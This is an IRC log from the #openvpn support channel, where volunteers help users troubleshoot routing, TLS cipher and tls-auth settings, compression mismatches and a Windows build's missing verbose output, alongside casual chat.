10:09 < rob0> I'm pissed.
10:10 < pekster> You've seen the same silly rulesets people post in #netfilter as I have that make liberal use of -m recent for all sorts of silly things...
10:12 < alaa> so I should relax whatever is going on is not caused by the Egyptian government
10:12 < alaa> ?
10:13 < pekster> alaa: Well, that's yet to be determined. rob0 and I both got ourselves "blocked" by doing a few traces to try and help you, so it "might" not be your end
10:13 < pekster> alaa: That said, something is still weird with your ISP since you should get to networklayer.com routers via traceroute or ping. Here are the UDP/traceroute and ICMP/ping traces I pasted earlier: http://dpaste.org/42OZJ/ http://dpaste.org/oN7pu/ (maybe your ISP blocks that kind of traffic?)
10:14 < alaa> pekster: I get the same traceroute no matter which address i test, so I guess my isb just blocks traceroutes!!!
10:15 < pekster> I'd suggest not trying to visit openvpn.net for a while and see if it's some badly written firewall rule that blocks you temporarily for attempting to trace the host (that's what I'm doing hoping the website block gets fixed for me)
10:15 -!- raidz_away is now known as raidz
10:19 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:19 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:31 < rob0> pekster, sure, I see silliness in #Netfilter, but I expect better from OpenVPN Technologies.
10:33 < pekster> Yup. If I can reproduce it after getting myself un-blocked (I hope that's automatic; my AWS/cloud host is a work-around, not the solution) I'll file a report. 4 traces of modest (32-64 byte) size should not causae this
10:34 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
10:37 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
10:37 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
10:40 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
10:45 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:49 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 252 seconds]
10:51 < pekster>  rob0 fwiw, the site is accessible for me now. If it wasn't a manual fix with the traffic here, then the temp-ban expired
10:58 < rob0> likewise. But still, that ban was stupid.
11:07 < mikey_w> I am trying to test a new openvpn install with a machine on the same lan.  It connects and then I lose all internet connectivity on the test machine?
11:08 < mikey_w> The server pushes 192,168.1.0 to the client.
11:09 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit []
11:09 < pekster> Right, routing that via the VPN address instead of the link-local route; that'll cause you issues
11:10 < pekster> You can see the 'local' flag to redirect-gateway, but you don't want to push a route you access locally (I think some OSes will prefer the local route anyway, but it can depend on interface & metric too depending on the OS and configuration)
11:10 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit []
11:11 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
11:11 < pekster> mikey_w: Optionally, you can simulate an "off-network" connection by using a router off your LAN to give the client a differnet LAN IP range. It's still not the same as connecting in from outside, but the network is better simulated that way
11:12 < mikey_w> What's the proper redirect-gateway statement
11:12 < mikey_w> ?
11:12 -!- p3rror [~mezgani@41.249.134.77] has joined #openvpn
11:13 < pekster> Depends on your needs. def1 is common, and you may need the local flag as I described earlier. Is there something you don't get from the manpage description of those optional flags?
11:14 < mikey_w> A lot.  I've used def1 but no joy,
11:14 < pekster> What's your goal here?
11:15 < mikey_w> Just to test it on the local land before going to a hotspot for testing.
11:15 < pekster> No, what are you trying to do? Testing is a means to test that something is working; what is that "something" ?
11:16 < pekster> !goal
11:16 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:16 < mikey_w> all of the above.
11:17 < pekster> ... some of those are mutually exclusive. You "just" want a secure connection, but "also" want to route your Internet over the connection?
11:17 < pekster> It's like saying all you want is an ice cream cone, but you also want dinner with that.
11:17 < pekster> Which is it?
11:18 < mikey_w> I have to think about it.
11:21 < matsh> !paste
11:21 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
11:21 < mikey_w> I keep getting bad source address from client in the log.
11:22 < pekster> Pastebin your server and client configuration, and the relevant logs
11:24 < mikey_w> sorry I have an interruption I need to address.  later.
11:35 < matsh> pekster: Trying to hook up a dd-wrt router with my server, http://pastebin.com/rJAjk0W2
11:37 -!- dxtr [~dxtr@unaffiliated/dxtr] has left #openvpn []
11:37 -!- brute11k [~brute11k@89.249.230.159] has quit [Read error: Connection reset by peer]
11:41 < pekster> matsh: Your comp-lzo options are mis-matched at the very least. They must match exactly on both sides of the connection
11:41 < pekster> matsh: Further, what are the two 192.168 networks? The server should not have a 'route' statement for its own LAN. What is 192.168.0.0/24 and 192.168.10.0/24?
11:41 -!- brute11k [~brute11k@89.249.230.159] has joined #openvpn
11:42 < matsh> pekster: But should that affect the tls negotiations?
11:42 -!- jtrimmer [~jtrimmer@75-151-66-133-WestFlorida.hfc.comcastbusiness.net] has joined #openvpn
11:42 < matsh> pekster: They are local lans on two different _clients_
11:42 < matsh> 192.168.10/24 is the lan behind the dd-wrt
11:44 -!- mezgani_ [~mezgani@41.250.233.240] has joined #openvpn
11:44 < pekster> Ah, okay, and you have ccd files for each then?
11:44 < matsh> That is correct.
11:44 < pekster> Yes, comp-lzo problems should only be for the data channel IIRC, but you still need to fix it :)
11:46 < matsh> The problem is that dd-wrt automagically sets it to 'open-lzo yes' even though you specify it to 'open-lzo'. Could probably be better off adjusting the rest of nodes to '* yes' though.
11:46 -!- p3rror [~mezgani@41.249.134.77] has quit [Ping timeout: 272 seconds]
11:46 < pekster> The default is 'adaptive' which is not the same as 'yes'
11:47 < pekster> yes = forced on, no = forced off, adaptive = sample compression performance and turn on/off when data is compressable
11:47 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 255 seconds]
11:48 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
11:48 < matsh> Are there any reasons why I should not set it to 'yes'?
11:50 < pekster> I wouldn't use lzo when you're talking low-CPU like embedded hardware
11:50 < matsh> It's weird that the dd-wrt keeps enabling it then.
11:51 < matsh> pekster: However, got any idea why the tls doesn't play good?
11:52 < pekster> Do both sides support the TLS cipher-suite the client is hard-coded to require? ie: server shows that in its output for 'openvpn --show-tls' ?
11:53 < pekster> I believe when omitted it accepts anything, although you might want to retry matching that value on both peers
11:53 < jtrimmer> Hello everyone.  I have a Windows OpenVPN Server inside our company subnet.  I have clients connecting through our company firewall to a machine running openVPN setup in a TUN configuration.  Now the server and the client can see each others subnets and talk back and forth.  Everything seems to be working 100% on that aspect.  But what I would like to do is also route traffic from all of the
11:53 < jtrimmer> other machines in the office to my clients local subnet aswell.  I setup a route on the company firewall to redirect traffic to the openVPN server IP but that is where everything fails.  Can this even be done or am I living in a pipe dream?
11:54 < pekster> jtrimmer: You have a LAN behind the VPN client?
11:55 < matsh> pekster: The server supports it of course, I'm gonna have it checked on the router. If not, just set cipher global to anything they all support?
11:55 < jtrimmer> the vpn client is a Tomato Router
11:55 < pekster> jtrimmer: This may be useful for getting client LAN functioning:
11:55 < pekster> !clientlan
11:55 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
11:55 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
11:57 < pekster> matsh: I'm suggesting you match the 'tls-cipher' values between hosts. I believe it is "supposed" to work, but it's very non-standard to define cipher, auth, and tls-cipher directives on one side but not the other, even if you're specifying what should be the defaults
11:58 < pekster> Try "tls-cipher DHE-RSA-AES256-SHA" on the server and bounce the instance to see if anything changes
11:58 < matsh> Yeah I know, so I'm thinking there is a reason why dd-wrt keeps setting some values on it's own.
11:58 < jtrimmer> !route_outside_openvpn
11:58 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
11:58 < pekster> It could just be explicitly declaring them; I tend to do that in my configs too, but both sides of my connection match values
11:58 -!- mezgani_ [~mezgani@41.250.233.240] has left #openvpn ["Leaving"]
11:59 < matsh> Well, I know the server uses that cipher, because when the client only had AES256-SHA there was an explaining error, hence the change to DHE-RSA-AES256-SHA.
11:59 -!- p3rror [~mezgani@41.250.233.240] has joined #openvpn
11:59 < matsh> But I might be better off setting them manually to be sure.
12:00 < pekster> matsh: Posting full logs at 'verb 4' is a better way to troubleshoot this as it includes the full output of all the settings whwen the instance starts
12:01 -!- MeanderingCode [~Meanderin@71-213-170-8.albq.qwest.net] has joined #openvpn
12:01 < matsh> Ah, thanks. I didn't know
12:03 -!- Erawan_RN [~Erawan@unaffiliated/erawanarifnugroh] has quit [Ping timeout: 245 seconds]
12:03 < pekster> fwiw, my 2.3.0 installation works fine with that tls-cipher value on one side but not defined on the other
12:04 -!- Erawan_R` [~Erawan@www.erawan.me] has joined #openvpn
12:04 < pekster> That's the expected behaviour, although I'd encourage you to match the value if you choose to limit ciphers like that. There's a small advantage to doing it only on the server-side (in that you can change it centrally) but doing it only on the client side seems odd to me
12:06 -!- krad [~m@unaffiliated/krad] has joined #openvpn
12:06 < matsh> Yeah, I've never done it, but dd-wrt seems to have a will of it's own
12:07 < pekster> This is why I trashed the OpenWRT initscript for OpenVPN and just wrote my own to use standard config files
12:08 < pekster> I hate systems that hide operation of services I want to manually run behind layers of buttons and distro-level knobs
12:09 < matsh> Agreed.
12:11 < pekster> Unless you're using --tls-auth on one side but not the other (via some implicit CLI argument your init does) I don't think you should be getting decryption issues with the posted config
12:11 < matsh> I believe the dd-wrt as specified ^auth
12:13 < pekster> verb 4 tells you everything you need to know. Compare output of values between peers for problems with critical things like tls-auth, auth, cipher, keysize, etc
12:13 < matsh> There is no 'tls-cipher' on the server log, should it be set manually then?
12:14 < matsh> And, is there a 'tls-auth' -and- 'auth'?
12:14 < jtrimmer> I think the flow charts are missing a section for my problem.  I want to go from an ip on the same subnet as the server to a clients ip address.  The server itself can talk to the clients and the clients can talk to all of the ips on the servers subnet just fine.  Just not sure what to do when the server is a standalone machine and not the router for the entire subnet.
12:15 < krad> i see alot of talking in here, this is not a good metric for the channel.
12:16 < matsh> Maybe we should cycle in between the talking once in a while.
12:17 < pekster> jtrimmer: To the VPN client itself, or a PC on a LAN behind a VPN client?
12:19 < pekster> matsh: I'm talking about the output in your logs from 'verb 4' - that prints *every* config value, even if it's not defined in your config file or on the CLI
12:19 < matsh> pekster: Yeah I know, and it doesn't mention tls-cipher
12:21 < pekster> Ugh, trying to find the right value for you, and apparently 2.3.0 no longer does the expected output on windows at 'verb 4' :(
12:21  * pekster files that away to look into the source for later
12:21 < matsh> It says something about 'Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 1024 bit RSA' to the client that has successfully connected.
12:22 < pekster> Oh, that's good. This is before it complains about decryption?
12:24 < matsh> That is to a client that has successfully connected
12:25 < pekster> Gotta be something stupid your 2nd client is doing then. Try 'ps' or such on the other client to see if it's adding CLI params that break it
12:26 < pekster> Or a comp-lzo mis-match if that really does impact portions of the TLS channel (I'm not 100% sure that it's data-channel only without digging in the code to back that statement up)
12:27 < matsh> Yeah, it's not mine. The guy with the dd-wrt left for a bit, so I guess we'll have to try with the same tls and auth options specified later.
12:29 < pekster> That shouldn't make a difference (if you just set that on the server too) at least not based on my test with 2.3.0
12:29 < pekster> My guess is the client is doing something weird not shown in the config you posted
12:29 < matsh> Might be, I'll try and fetch a complete verb 4 output from him.
12:29 < pekster> jtrimmer: If you have LANs behind both your VPN client and server, you need to set both the !clientlan and !serverlan stuff up
12:33 < jtrimmer> !serverlan
12:33 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
12:36 < jtrimmer> !route
12:36 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
12:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
12:41 -!- mode/#openvpn [+o krzee] by ChanServ
12:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection]
12:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
12:42 -!- mode/#openvpn [+o krzee] by ChanServ
12:51 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has joined #openvpn
12:51 -!- alaa [~alaa@41.36.146.1] has quit [Quit: Leaving]
12:51 < AndrewX192> What's the difference between tls-server and tls-auth direction?
12:52 <@krzee> !man
12:52 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
12:53 < pekster> tls-server sets the peer to act as a server during the TLS-handshake (which has explicitly requirements for being a "server" verses a "client.") tls-auth direction is an arbitrary value that must either be omitted, or be opposite between peers
12:53 < pekster> And yes, that should be explained nicely in the manpages too :)
12:54 -!- jtrimmer [~jtrimmer@75-151-66-133-WestFlorida.hfc.comcastbusiness.net] has quit []
12:59 < AndrewX192> I was looking in the man page, I just didn't see anything in reference to tls-auth direction in the man page, and it turned out I needed to scroll up to before --tls-server directive in the man page to see "TLS Mode Options"
13:01 < pekster> Oh, yea. There is no "direction" to --tls-auth (that's an allowable list of asymettric cipher-suites to allow from the supported choices)
13:02 < pekster> Same as in https, the server send an acceptable list of choices, and the client picks one
13:02 < pekster> To prevent downgrade attacks, hardened setups should limitt his to a sane and secure subset
13:05 < pekster> I actually had that backwards: the client (initiating system) sends the suggested ciphersuite list
13:17 <@dazo> uhm
13:17 <@dazo> that sounds wrong
13:18 <@dazo> --tls-auth is adding additional HMAC data to the OpenVPN data (TLS packets) ... which is a way to authenticate the TLS packets
13:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds]
13:19 <@dazo> if the TLS packet has been modified (think MITM attacks), the HMAC will not correspond - and the openvpn server or client can just drop the packet before even trying to decrypt it
13:20 <@dazo> the 'direction' flag is to indicate to openvpn which key-pair to use ... as the shared 'secret' (generated by openvpn --genkey) contains data for several keys ... so each side uses one key for signing packets, and the other key to verify packets from the remote side
13:21 <@dazo> which makes it even harder to intercept an on-going openvpn connection
13:22 < pekster> Erm, --tls-cipher
13:22 < pekster> Yea, it was an issue confusing the operation of those 2 params
13:22 <@dazo> --tls-cipher is something completely different :)
13:23 < pekster> Right. The original question was about the difference between them, and I just transposed one value when describing another. Not doing a great job for clarifying the distinction, 'eh? :\
13:23 <@dazo> --tls-server and --tls-client is to enable the PKI mode of openvpn ... which implicitly means, the multi-peer-to-peer mode (--server / --mode server)
13:23 < EugeneKay> --tls-bacon
13:23 < EugeneKay> Best option ever.
13:23 <@dazo> EugeneKay: that only makes it smelly!
13:24 <@dazo> makes the CPU work too hard
13:25 -!- MeanderingCode [~Meanderin@71-213-170-8.albq.qwest.net] has quit [Read error: Connection reset by peer]
13:26 < EugeneKay> Yeah, but if you install a grease-powered generator you can run the server for pennies
13:26 < pekster> cd openvpn; ./configure --with-grease-power
13:27 -!- cmelbye [~charlie@yourwiki/staff/charlie] has quit [Read error: Connection reset by peer]
13:28 < pekster> I seem to recall seeing some source comment in 2.3.0 about verb 4 silently not printing the param listing, but I'm not finding that now. Am I just missing that? If it's intentional, the --help output on Windows sure doesn't suggest that behaviour
13:30 <@dazo> pekster: we have not changed anything in regards to --verb and config dumping .... it comes on --verb 4 but not 3
13:32 < pekster> I'm not getting it on a 2.3.0 install of the 64-bit I004 build (I believe it acted this way in earlier builds too.) Run from the  command-line, so no funny GUI-wrapper involved
13:34 < pekster> even nothing at verb 6...
13:34 < pekster> http://dpaste.org/p5tbO/
13:39 <@dazo> pekster: oh, if it's built with --enable-small ... then it might not add that
13:40 <@dazo> openvpn --version ... what does it say?
13:40 < pekster> Yea, or the ENABLE_DEBUG def in options.c
13:40 < pekster> Sure enough, enable_debug=no
13:41 <@dazo> yeah ... I think --enable-small implies disabling ENABLE_DEBUG
13:42 < pekster> Yup. line 884 on options.c: http://fpaste.org/7Cmv/
13:42 < pekster> Should I open a ticket? That breaks the printed help output shown for --verb when you do 'openvpn --help' under Widnows
13:42 < pekster> It's a build issue, not a code issue
13:43 < pekster> (too bad I didn't look into that before the I004 build went live. Oh well)
13:43 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:45 < pekster> enable_small=no, fwiw. Just missing the enable_debug
13:45 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
13:45 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
13:45 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
13:45 -!- mode/#openvpn [+o krzee] by ChanServ
13:46 < pekster> full output: http://dpaste.org/0O9WO/
13:46 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 252 seconds]
13:48 < pekster> I guess the other solution is make that part of the code not rely on ENABLE_DEBUG and include it even without --with-debug. The ./configure output suggests it's specifically for verb 7+ stuff
13:49 < pekster> Either rip out the #ifdef, or give it a separate build-time option, like ENABLE_SHOW_PARM or such
13:51 < pekster> I'll hit -devel@ with the details and options. Either official builds should contain --enable-debug or options.c should be changed
13:55 < krad> don't get too much excited
13:56 -!- Varazir_ [~mircwars@c-94-255-130-138.cust.bredband2.com] has joined #openvpn
13:58 -!- Varazir [~mircwars@c-94-255-128-179.cust.bredband2.com] has quit [Ping timeout: 252 seconds]
14:00 -!- dazo is now known as dazo_afk
14:06 -!- Varazir_ is now known as Varazir
14:14 -!- axelm7 [~axelm7@200-127-146-90.net.prima.net.ar] has joined #openvpn
14:15 < axelm7> hi guys, which is the correct VPN client for a Windows 7 machine where my user is not administrator and he does not hve permissions to change the routes?
14:15 < axelm7> can I use the AS client that runs as a service?
14:16 < pekster> Changing routes requires administrator access by the process performing the operation, or the correct set of deligated OS priveleges to do so
14:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
14:17 < pekster> I've no clue how AS does things (#openvpn-as is the place to ask about the AS product as here is for the OpenVPN project specifically)
14:18 -!- magic_1 [~magic@unaffiliated/magic1/x-836121] has joined #openvpn
14:19 < pekster> This may be of use too: http://www.openvpn.se/files/howto/openvpn-howto_run_openvpn_as_nonadmin
14:19 <@vpnHelper> Title: HowTo Run OpenVPN as a non-admin user in Windows (at www.openvpn.se)
14:19 < magic_1> anyone know what would be cause the tls auth from timing out
14:19 < pekster> Creative use of the service method with the management interface could probably allow encrypted passwords and service-level control by a fully non-admin user
14:21 < magic_1> well key negotiations to fail
14:22 < magic_1> ive opened the port on the firewall but im just not getting through
14:22 < pekster> magic_1, a variety of things cause TLS handshake timeouts, ranging from network problems to the remote host having dropping the traffic if it fails to pass one of the security checks. What logs on the remote host do you get during a connection attempt?
14:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
14:24 < magic_1> was thinking that as well pekster, however inside the firewall it connects just fine, thats whats confusing me
14:25 < pekster> Sounds like a network issue then. tcpdump and careful evaluation of your firewall rules should help determine where traffic is (or is not) going
14:25 < magic_1> i am at my wits end
14:26 < magic_1> will be doing that again
14:27 -!- dbhaber [me@208.99.80.128] has joined #openvpn
14:27 < dbhaber> yolo
14:34 -!- julius__ [~julius@p3EE2AB4F.dip.t-dialin.net] has joined #openvpn
14:34 < julius__> hi
14:34 < dbhaber> hi
14:34  * dbhaber pokes ecrist 
14:35 < julius__> ive got a openvpn server running which accepts multiple clients. ive read "Including multiple machines on the client side when using a routed VPN" in the howto.  does this mean that machines behind the client will communicate directly without sending all communications over the server?
14:35 <@ecrist> dbhaber: wtf is up man?
14:36 < dbhaber> ecrist: is that a good wtf
14:36 <@ecrist> got your PM, didn't bother replying on the forum, btw
14:36 < dbhaber> or a bad one
14:36 <@ecrist> yes
14:36 <@ecrist> good
14:36 < pekster> julius__: No, all communication is routed via the server in a setup like that
14:36 < dbhaber> ecrist: same old same old really
14:36 < dbhaber> this tapatalk business actually makes it very easy for me to be active once again
14:36 < julius__> for example, my server is on a rather low bandwitdh but machines behind the client could use a 100mbit network if they need to exchange data
14:37 < julius__> pekster, is there no way to have machines in one lan recognize that their communication peer is closer in the current lan than over the openvpn server?
14:37 < pekster> julius__: Run a point-to-point VPN between the clients and route across that then
14:37 < julius__> i will look that up
14:37 < pekster> If you add a route to reach $other_client_lan via the VPN server, routing sends it via the VPN server
14:38 < dbhaber> ecrist: i know this is years old already but how is your wife
14:38 < dbhaber> i still remember hearing she got hurt
14:39 < pekster> You'd need separate tunnels if you wanted two peers to directly exchange information with each other. That doesn't work if, for example, both clients are behind NAT you don't control and can only reach your server via outbound connections
14:40 <@ecrist> dbhaber: she's fine now.  only long-lasting problem is her olfactory nerve was severed, so she can't smell anything any more
14:40 < dbhaber> that really sucks
14:41 < dbhaber> i wouldnt like life as much.. but then again, as an EMT, if there were things I could never smell again, totally cool with me
14:41 -!- medum_ [kevin@n2l.org] has quit [Remote host closed the connection]
14:41 < dbhaber> how are things in MN?
14:41 < pekster> Bloody cold...
14:41 < dbhaber> lol
14:48 <@ecrist> they are, really
14:48 <@ecrist> pekster: you live around here somewhere, don't you?
14:49  * ecrist knows someone in here does
14:49 < dbhaber> ecrist: still running a datacenter out of the basement? luls
14:49 <@ecrist> dbhaber: no
14:49 < krad> haber is ignoring me
14:49 < dbhaber> no more racks?
14:49 <@ecrist> nope
14:49 < dbhaber> how come
14:49 < dbhaber> krad: frankly, you're just creepy
14:49 < krad> what is creepy
14:49 < pekster> ecrist: Yup, south of the river from St Paul
14:50 <@ecrist> CG, myself
14:50 < krad> dbhaber, 1. Informal having or causing a sensation of repulsion, horror, or fear, as of creatures crawling on the skin
14:51 < krad> dbhaber, did you mean that
14:51 <@ecrist> dbhaber: I colo all my boxes, or have VMs now
14:51 < magic_1> lol
14:51 < krad> haber and i share the same family name, yet he's being mean to me
14:52 < krad> we are in different continents as well
14:52 < magic_1> oooo
14:52 < krad> and we just met!
14:53  * krad will disfamily dbhaber
14:53 < krad> hi db
14:56 < dbhaber> ecrist: ahh. where do you colo now
14:56 < dbhaber> I am down to one server at DedicatedNOW now that I colo, and i still have my brocolo in MD
14:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds]
15:05 < dbhaber> ecrist: i will try to show my face around the forums a bit more now and deal with some of the idiots
15:05 -!- jtrimmer [~jtrimmer@75-151-66-133-WestFlorida.hfc.comcastbusiness.net] has joined #openvpn
15:05 < dbhaber> and silly questions
15:05 < krad> lol
15:07 -!- krad [~m@unaffiliated/krad] has quit []
15:09 < jtrimmer> I feel like I'm playing whack-a-mole with openVPN.  I get one thing working then another breaks.
15:09 <@ecrist> dbhaber: I use RootBSD
15:11 < dbhaber> never heard of, at least not much
15:11 < dbhaber> jtrimmer: lawl
15:11 < dbhaber> well hopefully you are getting a high score
15:11 -!- magic_1 [~magic@unaffiliated/magic1/x-836121] has quit []
15:12 < jtrimmer> no the moles are laughing at me
15:13 -!- Erawan_R` [~Erawan@www.erawan.me] has quit [Read error: Connection reset by peer]
15:13 -!- Erawan_Ra [~Erawan@at.erawan.me] has joined #openvpn
15:13 < dbhaber> :(
15:14 -!- p3rror [~mezgani@41.250.233.240] has quit [Read error: Connection reset by peer]
15:14 -!- p3rror [~mezgani@41.249.144.158] has joined #openvpn
15:15 < jtrimmer> now the server and the machines on the server side can talk to the clients and their lans but the clients and their lans cannot ping the server machines.  It is annoying.
15:16 -!- Voss [~Voss@unaffiliated/dionysus] has left #openvpn []
15:16 -!- axelm7 [~axelm7@200-127-146-90.net.prima.net.ar] has quit [Ping timeout: 276 seconds]
15:18 < pekster> jtrimmer: If you can ping one direction but not the other, you likely have a firewall problem. NAT is also a possability if you're performing SNAT when you intend to be doing full routing instead
15:19 -!- julius__ [~julius@p3EE2AB4F.dip.t-dialin.net] has quit [Quit: Leaving]
15:19 < pekster> tcpdump and friends will help; just step through each hop the packet takes
15:19 < jtrimmer> it shouldn't be a firewall as I have all of the firewalls shut off.  I'm pretty sure it is nat but I'm scratching my head not seeing the problem.
15:20 < dbhaber> hmm is the bot still here
15:20 < dbhaber> !logs
15:20 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
15:20 < pekster> logs aren't relevant if a ping works; it's not a connection issue, or even a routing issue if a system on one side of the VPN server can ping a system behind a VPN client
15:22 < pekster> jtrimmer: Don't make assumptions about firewalls. You have at least 4 systems involved, and more if the VPN client/server isn't the default gateway on their respective LANs. That's up to 6 systems right there, and more if the backend LANs are more complex
15:22 < jtrimmer> the client is the default gateway the server is not
15:23 < pekster> So you have no fewer than 5 systems involved in VPN transport path
15:23 < jtrimmer> I have wireshark running on the server right now.  I see the request go out but never see a reply come back.
15:24 < pekster> Go out where, to the server-side LAN?
15:24 < jtrimmer> I have a static route setup on the gateway on the server side to send all client traffic back to the server machine as the gateway.
15:24 < pekster> Is your target replying to the ping?
15:24 < pekster> dump traffic there
15:25 < pekster> It's either that or the LAN gw dropping/not-responding to the traffic
15:25 < jtrimmer> duh I should of thought of that
15:26 < pekster> When I said "don't amke assumptions about firewalls" I meant that quite literally
15:29 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
15:32 < jtrimmer> The sonicwall is dropping the packets.  Weird though because when I ping from a machine on the server side the sonicwall passes them on just fine.
15:33 < pekster> Not weird at all. My IPv6 border firewall does the same thing: it allows unsolicited traffic in only 1 direction
15:34 < pekster> Maybe not what you want/expected, but then you need to fix it
15:35 < jtrimmer> well yeah it is dropping all packets coming from the client side I have to fix it.
15:37 < jtrimmer> it is calling them ip spoofs and dropping out the packets
15:40 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
15:43 -!- jtrimmer [~jtrimmer@75-151-66-133-WestFlorida.hfc.comcastbusiness.net] has quit [Read error: Connection reset by peer]
15:44 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
15:48 -!- jtrimmer [~jtrimmer@75-151-66-133-WestFlorida.hfc.comcastbusiness.net] has joined #openvpn
15:49 < jtrimmer> whoops changed the wrong setting.  Took down the internet for a minute
15:50 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
15:51 < pekster> ecrist: You don't indoor rock climb by chance, do ya?
15:53 -!- KaiForce [~chatzilla@adsl-70-228-64-42.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 18.0.2/20130201065344]]
16:05 < dbhaber> snooze
16:08 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has quit [Remote host closed the connection]
16:11 -!- xtreme_ [~wtf@193.28.228.85] has joined #openvpn
16:12 -!- discojoe [~wtf@193.28.228.85] has quit [Ping timeout: 255 seconds]
16:13 -!- Shadowized [~Shadowize@st0p.trying.to.trac3.me] has quit [Ping timeout: 264 seconds]
16:14 < jtrimmer> pekster: thank you for the help.  I finally got it working.  Sometimes it helps to have someone elses head to use.
16:15 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 248 seconds]
16:18 -!- Shadowized [~Shadowize@st0p.trying.to.trac3.me] has joined #openvpn
16:18 -!- mete [~mete@mete.shell.la] has joined #openvpn
16:20 < KiNgMaR> I'm having OpenVPN connect through an HTTP proxy. sometimes, this happens: openvpn[32336]: HTTP proxy returned: 'HTTP/1.0 503 Service Unavailable' and OpenVPN shuts down (SIGTERM[soft,init_instance] received, process exiting). is there an option to make it keep retrying?
16:23 < pekster> KiNgMaR, are you using (or pushing from the server) --keepalive, or the --ping + --ping-restart options?
16:25 < KiNgMaR> pekster: no, I don't. I found http-proxy-retry now, though, maybe that'll help :-)
16:25 < pekster> Ah, okay. I guess it has its own mechanism for that (I don't need to deal with openvpn over http proxies, thankfully)
16:26 < KiNgMaR> apart from that, it's working very well :-)
16:29 -!- jtrimmer [~jtrimmer@75-151-66-133-WestFlorida.hfc.comcastbusiness.net] has quit []
16:37 -!- Orbi [~opera@109.129.21.144] has joined #openvpn
16:39 -!- Orbi [~opera@109.129.21.144] has quit [Read error: Connection reset by peer]
16:39 -!- Orbi [~opera@109.129.21.144] has joined #openvpn
16:39 -!- Orbi [~opera@109.129.21.144] has left #openvpn []
16:39 -!- exitnode [~androirc@HSI-KBW-149-172-26-60.hsi13.kabel-badenwuerttemberg.de] has joined #openvpn
16:40 -!- Teck7 [~teck7@76.65.60.225] has joined #openvpn
16:42 -!- p3rror [~mezgani@41.249.144.158] has quit [Read error: Connection reset by peer]
16:42 -!- rfxn [~teck7@69.157.152.252] has quit [Ping timeout: 245 seconds]
